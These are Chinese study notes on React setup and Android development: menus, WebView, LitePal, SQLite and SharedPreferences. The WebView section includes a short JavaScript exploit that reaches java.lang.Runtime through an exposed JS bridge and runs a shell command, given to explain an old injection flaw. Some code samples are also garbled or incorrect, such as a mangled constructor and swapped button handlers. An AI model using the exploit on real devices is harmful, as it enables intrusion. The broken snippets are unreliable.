react环境安装

一、React 开发环境的准备

1、引入.js文件来使用React

2、使用脚手架工具来编码

  • GRUNT
  • GULP
  • Webpack
  • Create-react-app(官方推荐的脚手架工具)

但是使用脚手架写的内容不能被浏览器直接识别,需要脚手架工具做代码的编译,才能被浏览器运行。

二、安装create-react-app

如果你的node版本为6.0及以上,可以使用以下命令:

1
2
3
4
npm install -g create-react-app	//安装脚手架工具create-react-app
create-react-app my-app //使用脚手架生成工程my-app
cd my-app //进入my-app工程
npm run start //入启动my-app工程

如果你的npm版本为5.2.0及以上,可以使用以下命令

1
2
3
npx create-react-app my-app
cd my-app //进入my-app工程
npm start //入启动my-app工程

三、工程目录简介

  • package.json //任何一个脚手架工具中都会有一哥package.json文件。它代表node的一个包文件,包括项目介绍和一些依赖的包.

    只所以能通过npm 润 start来启动工程服务,是因为package.json文件中有

    “script”:{

    "start":"react-scripts start"
    //...
    

    }

  • node_modules //第三方的模块

  • public

    ​ favicon.ico //网页标签栏的icon

    ​ index.html //首页模版

    ​ mainfest.json

  • src //源码文件

    ​ registerserviceWorker //PWA progressive web application,在https服务器访问过,即使断网仍旧可以再访问的功能

  • 。。。

四、React 组件

组件就是页面上的一部分、

1、定义react组件

1
2
3
4
class App extends React.Component{
//render返回什么,就展示什么
render(){}
}

注意

1
2
3
4
5
6
import { Component } from 'react'

等价于

import React form 'react';
const Component= React.Component;

2、ReactDOM

这是一个第三方的模块,它有一个方法叫render,该方法可以帮助把一个组件挂载到dom节点上

1
2
3
4
5
6
//将APP组件渲染到root标签中 
ReactDOM.render(<APP />, document.getElementById('root'));
//<APP />是jsx语法,

//包括组件中render()方法内返回的`<div>`也是jsx语法,都得通过引入React才能使用
import React from 'react';

3、jsx语法

自定定义的组件,可以直接通过jsx标签来使用,比如上面的<APP />

注意:组件的命名必须是大写字母开头,

一般大写字符开头都是jsx组件,小写字母开头的标签都是h5的标签


本笔记参考慕课网视频https://coding.imooc.com/class/229.html

Android之menu的使用

一、如何给一个activity设置menu

1、在res目录下新建名为menu的文件夹;
2、在menu文件夹下新建一个名为mainMenu resource file文件
3、在main文件中添加两个item,其中android:title表示名称;

1
2
3
4
5
6
7
8
<menu xmlns android="http:/schemas.android.com/apk/res/android">
<item
android:id="@+id/add_item"
android:title="添加"/>
<item
android:id="@+id/remove_item"
android:title="删除"/>
</menu>

4、在相应的activity文件中重写onCreateOptionMenu()方法,其中getMenuInflater()方法得到MenuInflater对象,inflate方法创建菜单,第一个参数是指定的资源文件,第二个参数指定菜单项添加到哪一个Menu对象中;返回true表示允许创建的菜单显示出来,false表示无法显示。

1
2
3
4
public boolean onCreateOptionMenu(Menu menu){
getMenuInflater().inflate(R.menu.main,menu);
return true;
}

5、定义菜单响应事件,重写onOptionsItemSelected()方法

1
2
3
4
5
6
7
8
9
10
11
12
public boolean onOptionsItemSelected(MenuItem item){
switch(item.getItemId()){
case R.id.add_item:
//...
break;
case R.id.remove_item:
//...
break;
default:
}
return true;
}

这时运行程序,在相应的activity页面右侧就会出现一个三点符号了,即菜单按钮。

Android-WebView

一、为什么要用WebView

  • 兼容已有项目
  • 可以动态更新
  • 缺点:耗电、加载慢、发热

二、WebView的使用

  • 1、在AndroidMainfest.xml中添加网络权限,
  • 2、在activity中加载webview,为了防止调用系统的浏览器,去要添加setWebViewClient方法兼听则明
1
2
3
4
5
6
7
8
WebView webView=(WebView)findViewById(R.id.webView);
webView.loadUrl("http://www.baidu.com");
webView.setWebChromeClient(new WebChromeClient(){
@Override
public void onReceivedTitle(WebView view,String title){
super.onReceivedTitle(view,title);
}
});

三、自定义WebView 的Title

如何在加载页面时显示url信息呢?

  • 首先在activity_main.xml文件中添加一个表头的配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<RelativeLayout
andorid:id="@+id/web_title"
android:layout_width="match_parent"
andorid:layout_height="50dip">
<Button
android:id="@+id/back"
android:layout_alignParentLeft="true"
android:text="返回"
android:layout_width="wrap_content"
andorid:layout_height="40dip">

<TextView
android:id="@+id/title"
android:layout_centerInParent="true"
android:layout_width="wrap_content"
andorid:layout_height="wrap_content">

<Button
android:id="@+id/refresh"
android:layout_alignParentRight="true"
android:text="刷新"
android:layout_width="wrap_content"
andorid:layout_height="40dip">
<RelativeLayout>
<WebView
andorid:id="@+id/webView"
android:layout_width="match_parent"
andorid:layout_height="match_parent">

然后在activity中写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Button back=(Button)findViewById(R.id.back);
Button refresh=(Button)findViewById(R.id.refresh);

TextView titleView=(TextView)findViewById(R.id. title);

webView.setWebChromeClient(new WebChromeClient(){
@Override
public void onReceivedTitle(WebView view,String title){
titleView.setText(title);
super.onReceivedTitle(view,title);
}
});


back.setOnClickListener(new MyListener());
refresh.setOnClickListener(new MyListener());

class MyListener implements View.OnClickListener{
@Override
public void onClick(View view){
switch(view.getId()){
case R.id.back:
//刷新
webView.reload();
break;
case R.id.refresh:
finish();
break;
default:
break;
}
}
}

四、利用WebView下载文件

若要使浏览器可以下载文件,需要让webView实现一个接口

1、手动创建一个HttpThread类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class HttpThread extends Thread{
private String mUrl;
//传递进来要下载的地址
public HttpThread(String url){
this.mUrl=url;
}


@Override
public void run(){
try{
System.out.println("开始下载");
URL httpUrl=new URL(mUrl);
HttpURLConnection conn=(HttpURLConnection)httpUrl.openConnection();
conn.setDoInput(true);
conn.setDoOutput(true);
//输入流对象
InputStream in=conn.getInputStream();

//输出流对象
OutputStream out;

//下载目录
File downloadFile;
File sdFile;

//判断SD卡是否已挂载
if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){
downloadFile=Environment.getExternalStorageDirectory();
sdFile=new File(downloadFile,"test.apk");

out=new FileOutputStream(sdFile);
}

byte[] b=new byte[6*1024];
int len;
while(len=in.read(b)!=-1){
if(out!=null){
out.write(b,0,len);
}
}

if(out!=null){
out.close();
}
if(in!=null){
in.close();
}
System.out.println("下载完成");

}catch(Exception e){
}
}
}

2、然后给webView实现DownloadListenr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
webView.loadUrl("http://shouji.baidu.com");

webView.setDownloadListener(new MyDownload());

class MyDownload implements DownloadListener{
@Override
public void onDownloadStart(String url,String userAgent,
String contentDisposition,String mimetype,long contentLength){

//判断要下载的文件类型
if(url.endWith(".apk")){
new HttpThread(url).start();
}

}
}

这样的话,如果页面中有下载的操作,就会按照我们的步骤执行了

3、如何使用系统浏览器下载文件呢

调用系统下载比较简单,也比较快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyDownload implements DownloadListener{
@Override
public void onDownloadStart(String url,String userAgent,
String contentDisposition,String mimetype,long contentLength){

//判断要下载的文件类型
if(url.endWith(".apk")){
Uri uri=Uri.parse(url);
Intent intent=new Intent(Intent.ACTION_VIEW,uri);
startActivity(intent);
}

}
}

五、WebView的错误码处理

比如断网情况下加载一个页面,肯定会出现一个不太友好的页面,这样体验不好。常用的是加载一个本地的错误页面,或者一个native页面。怎么做呢

只需要在webView的setWebViewClient监听中,重写onReceiveError方法即可
首先需要在asserts目录下放置一个error.html文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
webView.setWebViewClient(new WebViewClent(){
@Override
public boolean shouldOverrideUrlLoading(WebView view,String url){
view.loadUrl(url);
return super.shouldOverrideUrlLoading(view , url);
}


@Override
public void onReceivedError(WebView view,int errorCode,String description, String failingUrl){
super.onRecievedError(view,errorCode,description,failingUrl);
//加载本地错误页面
view.loadUrl("file:///android_asset/error.html");
}

});

当然也可以将WebView控件隐藏,显示另一显示错误的控件。同样是在onReceivedError方法中处理

六、WebView的同步cookie

1、首先创建一个HTTPCookie的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class HttpCookie extends Thread{

//用来向外传递信息
private Handler handler;

public HttpCookie(tends Thread{
private ){
this.handler=handler;
}

@Override
public void run(){
super.run();
HttpClient client=new DefaultHttpClient();

HttpPost post=new HttpPost("192.168.1.102:8080/webs/loign");
List<NameValuePair> list=new ArrayList<NameValuePair>();
list.add(new BasicNameValuePair("name","wanger"));
list.add(new BasicNameValuePair("age",12));

try{
post.setEntity(new UrlEncodeFromEntity(list));
HttpResponse response=client.execute(post);

if(response.getStatusLine().getStatusCode()==200){
AbstractHttpClient absClient=(AbstractHttpClient)client;

List<Cookie> cookies=absClient.getCookieStore().getCookies();

for(Cookie cookie :cookies){
System.out.println("name="+cookie.getName()+"age="+cookie.getValue);

Message message=new Message();
message.obj=cookie;
handler.sendMessage(message);

return;
}


}
}catch(Exception e){
}


}
}

2、然后在MainActivity中相应的地方添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Handler handler=new Handler(){
public void handlerMessage(android.os.Message msg){
String cookie=msg.obj.toString();

CookieSyncManager.createInstance(MainActivity.this);
CookieManager cookieManager=CookieManager.getInstance();
cookieManager.setAcceptCookie(true);
cookieManager.setCookie("http://192.168.1.102:8080",cookie);
CookieSyncManager.getInstance().sync();

webView.loadUrl("192.168.1.102:8080/webs/index.html");
}
}

new HttpCookie(handler).start();

七、WebView与JS调用混淆问题

正常情况下WebView和JS是可以互相调用的,到那时当把apk发布时需要一个release包,而release包通常需要混淆处理,就会发生WebView与JS无法调用。
比如
1、创建一个类

1
2
3
4
5
6
7
8
9
public class WebHost{
private Context context;
public WebHost(Context context){
this.context=context;
}
public void callJs(){
Toast.makeText(context,"call form js",Toast.LENGTH_LONG);
}
}

2、然后在MainActivity中添加

1
2
webView.getSetting().setJavaScriptEnable(true);
webView.addJavaScriptInterface(new WebHost(this),"js");

3、最后在html页面中添加一个js方法,并给某个按钮添加监听

1
2
3
function call(){
js.callJs();
}

此时运行app是可以正常调用js的方法的,但是对代码混淆后,却发现不能用了,这时需要在混淆配置文件中将相应的类添加进入

1
2
3
-keep public class com.example.webview01.WebHost{
public <methods>;
}

这时混淆后的代码就可以正常执行了

八、WebView导致的远程注入问题

如果通过恶意代码从web页面拿到手机上的照片等信息,会很危险。4.2之后已修复。
如下面的js代码,遍历js对象,拿到映射的java对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function check(){
for(var obj in window){
try{
if("getClass" in window[obj]){
try{
window[obj].getClass();
document.write('<span style="color:red;font-size:22px">'
+obj+'</span>');
document.write('<br />');
}catch(e){}
}
}catch(e){
}
}
}

//通过反射加载一个Runtime类
function execute(cmdArgs){
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

try{
execute(["/system/bin/sh","-c",
"ls /mnt/scdcard > /sdcard/log-netstat.txt"]);
}catch(e){
alert(e);
}

九、WebView自定义拦截

虽然有些浏览器厂商已经解决了远程注入的问题,但是作为开发人员也因该减少与js的调用,并且设置一定的规则。
通常情况下需要定义协议,让js来打开本地客户端
例如要通过js启动一个新的activity

1
<a href="http://192.168.1.102:8080/webs/error.html?startActivity">

然后在ManiActivity中进行拦截

webView.setWebViewClient(new WebViewClent(){
    @Override
    public boolean shouldOverrideUrlLoading(WebView view,String url){

        //根据协议来启动新的activity
        if(url.endWith("?startActivity")){
            Intent intent=new Intent(ManiActivity.this,SecondActivity.class);
            startActivity(intent);
            return true;
        }
        view.loadUrl(url);
        return super.shouldOverrideUrlLoading(view , url);
    }



});

Android数据持久化---LitePal

记得很久之前就使用过一些第三方工具进行sqlite数据库操作,只觉得分外简单。入职以来进行了SpringBoot等的训练,发现它们所做的工作如此之像,一精则百通吧,现在看这本书,笔记还是继续做吧,梳理一下才是自己的东西。

一、LitePal创建数据库

1.1 添加依赖

在相应module的build.gradle的dependencies中添加依赖引用:

1
2
3
4
dependencies{
//...
compile 'org.litepal.android:core:1.4.1'
}
1.2 添加配置文件

src/main目录下新建一个assets的目录,然后在下面新建一个litepal.xml的文件,添加内容如下:

其中

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8">
<litepal>
<!--数据库名称-->
<dbname value="BookStore"></dbname>
<!--数据库版本-->
<version value="1"></value>

<!--数据库的表对应的类-->
<list>
</list>
</litepal>
1.3 配置AndroidManifest.xml文件

在AndroidManifest.xml中的application标签中添加一个name属性

1
2
3
4
5
6
7
8
9
10
11
12
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.litepaltest">
<application
android:name="org.litepal.LitePalApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportRtl="true"
android:theme="@style/AppTheme">
...
</application>
</manifest>
1.4 创建对象类

LitePal采取的是对象关系映射(ORM)模式,将面向对象语言与面向关系的数据库之间建立一种映射关系。我们只需要创建一个实体类,LitePal就可以将它转变成数据库中的表。

创建一个Book的实体类:

Book类会对应数据库中的Book表,类中的字段对应表中的列。这就是关系对象映射。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Book{
private int id;
private String author;
private double price;
private int pages;
private String name;

public int getId(){
return id;
}
public void setId(int id){
this.id=id
}
...

}
1.5 修改litepal.xml文件

刚才创建的litepal.xml文件中有一个list的标签,里面就是放对应的实体类,可以通过map标签建立与Litepal的关联,注意mapping中的class必须是实体类的完整类名

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8">
<litepal>
<!--数据库名称-->
<dbname value="BookStore"></dbname>
<!--数据库版本-->
<version value="1"></value>

<!--数据库的表对应的类-->
<list>
<mapping class="com.example.litepaltest.Book"></mapping>
</list>
</litepal>
1.6 执行数据库的创建

和直接使用SQLiteOpenHelper一样,只要获取数据库实例就会自动执行数据库和表的创建工作。只不过这里使用LitePal自带的获取方法,更加简单。

1
2
3
4
5
6
btn_create.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
LitePal.getDatabase()
}
});

这样点击btn_create按钮就会执行数据库和Book表的创建工作了。

二、升级数据库

如果想升级数据库,比如给Book表增加一个出版社(press)的列,或者想添加一个新的表,怎么做呢?非常简单

(1)只需要给Book实体类添加新的press字段,并设置getter和setter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Book{
...
private String press;

public String getPress(){
return press;
}
public void setPress(String press){
this.press=press
}
...

}

(2)新建一个实体类Category

1
2
3
4
5
6
7
8
9
public class Category{
private int id;
private String categoryName;
private int categoryCode;

//getter和setter方法
...

}

(3)修改litepal.xml文件,修改里面数据库版本,添加新增的Category类mapping

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8">
<litepal>
<!--数据库名称-->
<dbname value="BookStore"></dbname>
<!--数据库版本-->
<version value="2"></value>

<!--数据库的表对应的类-->
<list>
<mapping class="com.example.litepaltest.Book"></mapping>
<mapping class="com.example.litepaltest.Category"></mapping>
</list>
</litepal>

这时重新运行程序,单价btn_create按钮,就完成了数据库的更新操作

三、操作数据库

3.1 添加数据

有了LitePal就不再需要ContentValue对象了,我们可以执行使用对象实体类来添加数据,只是需要修改一些实体类文件,让实体类继承自LitePal中的DataSupport类

1
2
3
public class Book extends DataSupport{
...
}

添加数据,只需要创建实体类,设置参数,然后调用实体类的save()方法即可,当然save()方法是DataSupport内部的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
btn_addBookData.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Book b=new Book();
b.setName("书名");
b.setAuthor("作者");
b.setPages(300);
b.setPrice(100.00);
b.setPress("出版社");
//保存
b.save();
}
});

这时候数据就添加成功了,可以通过adb进行查看

3.2 更新数据

更新数据,可以对已存储的对象重新复制,然后重新调用save()方法,就完成了更新操作。

那么如何确定对象是否是已存储对象呢?可以调用model.isSave()方法来判断,只有在两种情况下该方法才会返回true

  • 一种情况是已经调用过model.save()方法去添加数据了,此时model是已存储的对象
  • 另一种是model是通过LitePal的api查询出来的对象,也会被认为是已存储的对象

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
btn_updateBookData.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Book b=new Book();
b.setName("书名");
b.setAuthor("作者");
b.setPages(300);
b.setPrice(100.00);
b.setPress("出版社");
//保存
b.save();

//修改数据
b.setPrice(99.00);
b.save();
}
});

此时数据库新增了一条数据,但是书的价格不是原先的100.00,而是99.00了。

但是这种更新的方式限制性比较大,如何快速对多条数据进行更新的,可以使用updateAll()方法,这个方法与SQLiteDatabase中的update方法where参数有些类似,但是更加简洁,同样参数若不指定表示更新所有

1
2
3
4
5
6
7
8
9
10
11
btn_updateBooks.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
Book b=new Book();

//修改数据
b.setPrice(9.99);
b.setPress("大白出版社");
b.updateAll("name = ? and author = ? ", "红楼梦","曹雪芹");
}
});

此时就会把所有作者为曹雪芹并且名字为红楼梦的数的价格改为9.99,出版社改为大白出版社。

需要注意的是,如果想把某一字段改为默认值,是不可以使用上面的set方法的。比如Java中默认的int类型值为0,boolean值为false,String值为null。

如果想把pages设为0,通过b.setPages(0),执行updateAll()操纵是不会更新数据的,对于想要将数据更改为默认值的操作,LitePal提供了setToDefault()的方法,将要更改的字段作为参数传进去即可

1
2
3
Book n=new Book();
b.setToDefault("pages");
b.updateAll();

这样就能将相应的字段更新为默认的数值了。

3.3 删除数据

使用LitePal删除吧数据主要两种:

  • 直接调用已存储对象的delete()方法即可,对于LitePal提供的api查询出来的对象都可以使用该方法
  • 另一种方法是使用DataSupport的deleteAll()方法,参数第一个是实体类,后面的同where语法

方法二的代码,删除Book表中所有价格小于15的数据。

1
2
3
4
5
6
btn_deleteData.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
DataSupport.deleteAll(Book.clas,"price < ?" , "15");
}
});

当然如果不指定约束条件,就是删除所有的记录。

3.4 查询数据

查询操作同样是DataSupport类提供的,常用的有

  • findAll() :查询所有数据
  • findFirst() :查询首条记录
  • findLast() : 查询末条记录
  • select().find() : 查询指定列的数据
  • where().find() : 查询指定约束条件的数据
  • order().find() : 指定结果的排序方式
  • limit().find() : 指定查询结果的数量
  • limit().offset().find() : 指定查询结果的偏移量

当然可以任意进行组合

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//查询所有数据
List<Book> books=DataSupport.findAll(Book.class);

//查询第一条数据
Book b=DataSupport.findFirst(Book.class);

//查询最后一条数据
Book b=DataSupport.findlast(Book.class);

//查询指定列的数据
Book b=DataSupport.select("name","author").find(Book.class);

//查询满足约束条件的数据
Book b=DataSupport.where("pages > ?","100").find(Book.class);

//查询结果按指定方式排序
Book b=DataSupport.order("price desc").find(Book.class);

//指定查询结果的数量,返回第1、2、3条数据
Book b=DataSupport.limit(3).find(Book.class);

//指定查询结果的偏移量,返回第2、3、4条数据
Book b=DataSupport.limit(3).offset(1).find(Book.class);
3.5 使用原生sql语句

DataSupport同样支持原生SQL语句的操作,提供了findBySQL()方法

1
2
String sql="select * from Book where pages > ? and price < ?";
Cursor cursor=DataSupport.findBySQL(sql,"100","100.00");

Android数据持久化---SQLite

无论是文件存储还是sharedPreference存储,都只能存储简单的数据或键值对。如果要存储复杂的关系型数据时该怎么办呢?SQLite就派上用场了,它是内置在Android中的一个轻量级的关系型数据库,且不用设置用户名和密码就可以使用,功能强大。

一、创建数据库

为了方便的管理数据库,android专门提供了一个SQLiteOpenHelper帮助类,用它可以完成数据库的创建和升级。

SQLiteOpenHelper是一个抽象类,在使用时需要我们创建一个类去继承它,并实现它的两个抽象方法:

  • onCreate(): 首次创建数据库时会调用这个方法
  • onUpgrade():对数据库进行更新时会调用该方法

另外SQLiteOpenHelper还有两个方法用来打开或创建一个现有的数据库,如果数据库已存在则打开,不存在则新建数据库。并且返回一个可对数据库进行读写操作的对象。

  • getReadableDatabase(): 当不可写入时,只读方式打开
  • getWritableDatabase(): 当不可写入时,出现异常

SQLiteOpenHelper有两个参数可供重写,参数较少的构造方法需要提供四个参数:

  • Context:只有它才能进行数据库操作
  • 数据库名:指定要创建的数据库名字
  • 自定义的Curfor:运行查询数据时返回的一个自定义的Cursor,一般传入null即可
  • 当前数据库版本号:用来对把数据库升级操作

创建好的数据库存放在/data/data/<package-name>/databases/目录下,一般使用adb进行查看,具体后边会有介绍。

如何创建一个数据库,并创建表呢?

1.1 创建一个类继承自SQLiteOpenHelper

创建一个BookStore的数据库,并且在里面创建一个Book的表,其中:

  • integer表示整形
  • real表示浮点型
  • text表示文本型
  • blob表示二进制类型

primary key表示将id设为主键,autoincrement表示该列自增,这样的化以后增加数据时就不用传递这一列的参数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class MyDatabaseHelper extends SQLiteOpenHelper{
public static final String CREATE_BOOK="create table Book(id integer primary key autoincrement,author text,price real,pages integer,name text)"
private Context mContext;
public MyDatabaseHelper(Context context,String name,SQLiteDatabase.CursorFactory factory, int version){
super(context,name,factory,version);
mContext=context;
}

//首次创建数据库时执行的语句
@Override
public void onCreate(SQLiteDatabse db){
//执行创建表的操作
db.execSQL(CREATE_BOOK);
}

//升级数据库时执行的语句
@Override
public void onUpgrade(SQLiteDatabse db,int oldVersion,int newVersion){
//...
}

}

然后在适当的位置就可以调用该类进行数据库和表的创建了,可以给一个按钮设置该监听

1
2
3
4
5
6
7
8
9
//创建一个名为BookStore.db的数据库
MyDatabaseHelper mdb=new MyDatabaseHelper(this,"BookStore.db",null,1);
//如果点击该按钮时,不存在名为BookStore.db的数据库,就会执行mdb内部的onCreate方法进行创建Book表的操作
btn_catete.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
mdb.getWritableDatabase();
}
});
1.2 数据库的升级

现在数据库下已经有一个Book表了,如果要对数据库进行升级操作(比如增加一个),该怎么办呢,这就要用到onUpgrade()方法了,想让mdb执行这个方法就需要在创建(开发)数据库时传递一个更高的版本号。

onUpgrade()方法中添加相关的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class MyDatabaseHelper extends SQLiteOpenHelper{
...
public static final String CREATE_CATEGORY="create table Category(id integer primary key autoincrement,category_name text,category_code integer)"

//首次创建数据库时执行的语句
@Override
public void onCreate(SQLiteDatabse db){
//执行创建表的操作
db.execSQL(CREATE_BOOK);
db.execSQL(CREATE_CATEGORY);
}

//升级数据库时执行的语句
@Override
public void onUpgrade(SQLiteDatabse db,int oldVersion,int newVersion){
//如果Book和Category表已经存在,则删除它们
db.execSQL("drop table if exists Book");
db.execSQL("drop table if exists Category");
onCreate(db);
}

}

然后在适当位置给某按钮添加监听,

1
2
3
4
5
6
7
8
9
//将版本号提高为2,
MyDatabaseHelper mdb=new MyDatabaseHelper(this,"BookStore.db",null,2);
//如果此时已经存在BookStore.db的数据库,就会执行mdb内部的onCUpgrade方法
btn_upgrade.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
mdb.getWritableDatabase();
}
});

这时,BookStore数据库下就有两个表了。当然具体升级的思路多种多样,不再多述。

1.3 添加数据

可以通过SQLiteOpenHelper的getReadableDatabase()getWritableDatabase()

方法获取到一个SQLiteDatabse对象,可以借助于它来实现CRUD操作(增删改查)。对于插入操作SQLiteDatabse对象提供了insert()方法,接收三个参数:

  • 第一个参数是表名:
  • 第二个参数:直接传null即可。一般不用,在未指定添加数据的情况下可为空的列赋值NULL。
  • 第三个参数是ContentValues对象:可通过put方法向ContentValues中添加数据

实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
btn_addBook.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
mdb.getWritableDatabase();

//
ContentValues values=new ContentValues();
values.put("name","西游记");
values.put("author","吴承恩");
values.put("pages",10000);
values.put("price",100.00);
//执行添加操作
mdb.insert("Book",null,values);

values.clear();//清空values
values.put("name","红楼梦");
values.put("author","曹雪芹");
values.put("pages",20000);
values.put("price",200.00);
//插入第二条数据
mdb.insert("Book",null,values);

}
});

在创建Book表的时候还有一个id的列,在这里没有赋值,因为它是自增长的,会在入库时自动生成,就不需要手动赋值了。

1.4 更新数据

SQLiteDatabse对象提供了update()方法来更新数据,它接收四个参数

  • 第一个参数是表名:
  • 第二个参数是ContentValues对象:
  • 第三个参数是约束行:即sql语句where后面的部分
  • 第四个参数是数据:与第三个参数对应的具体数据(为where中的占位符提供的具体的值),共同起到约束行的作用

示例如下:如果不传第三个和第四的数据的话,则会更新所有行数据中相关的列的值。

其中?是一个占位符,具体内容由第四个参数来填充。

1
2
3
4
5
6
7
8
9
10
11
12
13
btn_updateBook.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
mdb.getWritableDatabase();

ContentValues values=new ContentValues();
//要更新的数据列
values.put("price",150.00);
//将书名为西游记的数的价格改为150.00
mdb.update("Book",values,"name= ? ",new String[]{"西游记"});

}
});
1.5 删除数据

SQLiteDatabse对象提供了delete()方法来删除数据,它接收三个参数

  • 第一个参数是表名:
  • 第二个参数是约束行:即sql语句where后面的部分
  • 第三个参数是数据:与第二个参数对应的具体数据,共同起到约束行的作用

如果不指定第二和第三个参数的话,默认删除所有行数据

1
2
3
4
5
6
7
8
9
10
11
btn_deleteBookData.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
mdb.getWritableDatabase();

ContentValues values=new ContentValues();
//删除页数大于10000页的书籍
mdb.delete("Book","page > ? ",new String[]{"10000"});

}
});

1.6 查询数据

查询数据是最难的,SQLiteDatabse对象提供了query()方法来查询数据,最短的一个重载方法也有7个参数

  • 第一个:table – 表名
  • 第二个:colunms – 查询哪几列
  • 第三个:selections – 约束查询的行(指定where的约束条件)
  • 第四个:selectionArgs – 约束查询的行的数值(为where中的占位符提供的具体的值)
  • 第五个:groupBy – 需要group by的列
  • 第六个:having – group by之后需要近一步过滤的数据
  • 第七个:orderBy – 指定查询结果的排序方式

示例代码如下:后边的参数全为null,表示查询表中的所有数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
btn_queryBook.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
mdb.getWritableDatabase();
Cursor cursor=mdb.query("Book",null,null,null,null,null,null);
if(cursor.moveToFirst()){
do{
String name=cursor.getString(cursor.getColumnIndex("name"));
String author=cursor.getString(cursor.getColumnIndex("author"));
int pages=cursor.getInt(cursor.getColumnIndex("pages"));
doubole price=cursor.getDouble(cursor.getColumnIndex("price"));
//...
}while(cursor.moveToNext())
}
//注意不要忘了关闭cursor
cursor.close();
}
});

二、使用SQL语句操作数据库

上边介绍的是Android提供的API操作数据库,还可以通过常规的SQL语句进行数据库的操作

eg:

1
2
3
4
5
6
7
8
9
10
11
12
//插入数据
mdb.execSQL("insert into Book (name,author,pages,price) valuse(?,?,?,?)",new String[]{"三国演义","佚名","800","50.00"});

//更新数据,三国演义的价格改为600.00
mdb.execSQL("update Book set price = ? where name = ? ",new String[]{"600.00","三国演义","800","50.00"});

//删除数据
mdb.execSQL("delete from Book where pages > ? ",new String[]{"800"});


//查询数据
mdb.rawQuery("select * from Book",null);

三、使用adb查看数据库

上边提到了使用adb可以查看SQLite创建的数据库。

adb存放在sdk的platform-tools的文件夹下,可以用来调试连接在电脑上的手机或模拟器。如果想通过命令行使用它,可以配置环境变量:

  • window : 在Path中 将platform-tools的目录配置进去
  • Linux和Mac: 在home路径下的.bashenjain中,将platform-tools的目录配置进去

配置好之后在命令行输入adb shell就可以进入设备的控制台了,#表示超级管理员,$表示普通用户,可以通过su命令切换到超级管理员;

使用cd /data/data/<package-name>/databases/目录下,就可以ls里面的所有文件了

  • 打开数据库: sqlite3 BookStore.db
  • 查看表目录:.table
  • 查看建表语句:.schema
  • 操作数据库:SQL语句,如select * from Book
  • 退出数据库编辑:.exit.quit

Android数据持久化---SharedPreferences

SharedPreferences是一种比文件更加简单的存储方式,它以键值对的形式将数据存储在/data/data/<package-name>/shared_prefs/文件夹下。可以存储整形、字符串或布尔型的数据。

一、存储数据到SharedPreferences中

网SharedPreferences中存储数据非常简单,分三步:

  1. 获取SharedPreferences对象sp;
  2. 通过sp获取SharedPreferences.Editor对象spe;
  3. 通过spe添加数据
  4. 通过spe的apply方法完成提交

1.1 获取SharedPreferences对象

获取SharedPreferences对象的方法有三种:

(1)Context类中的getSharedPreference()方法

该方法中接收两个参数:

  • 第一个参数:指定SharedPreferences文件的名称,该文件存储在/data/data/<package-name>/shared_prefs/文件夹下;

  • 第二个参数:指定操作模式,目前只有MODE_PRIVATE方法可选,和传入0

    效果相同,表示只有当前应用程序才可以使用这个文件进行读写。其它模式如:MODE_WORLD_READABLE和MODE_WORLD_WRITEABLE在Android4.2中已废弃,MODE_MULTI_PROCESS在Android6.0中已废弃;

(2)Activity中的getPreference()方法

和Context类中的getSharedPreference()方法类似,只接受一个操作模式作为参数,这种方式会自动将当前活动的类名作为SharedPreference的文件名。

(3)PreferenceManager类中的getDefaultSharedPreference()

这是一个静态方法,接受一个Context参数,自动使用当前包名作为SharedPreference的文件的前缀名

1.2 获取SharedPreferences.Editor对象

通过获取到的SharedPreferences对象的edit()方法就可以获取SharedPreferences.Editor对象了,可以如下实现

1
SharedPreferences.Editor editor=getSharedPreference("data",MODE_PRIVATE).edit();

1.3 向SharedPreferences.Editor对象中添加数据

获取到SharedPreferences.Editor对象后,就可以添加数据了,有三种方法:

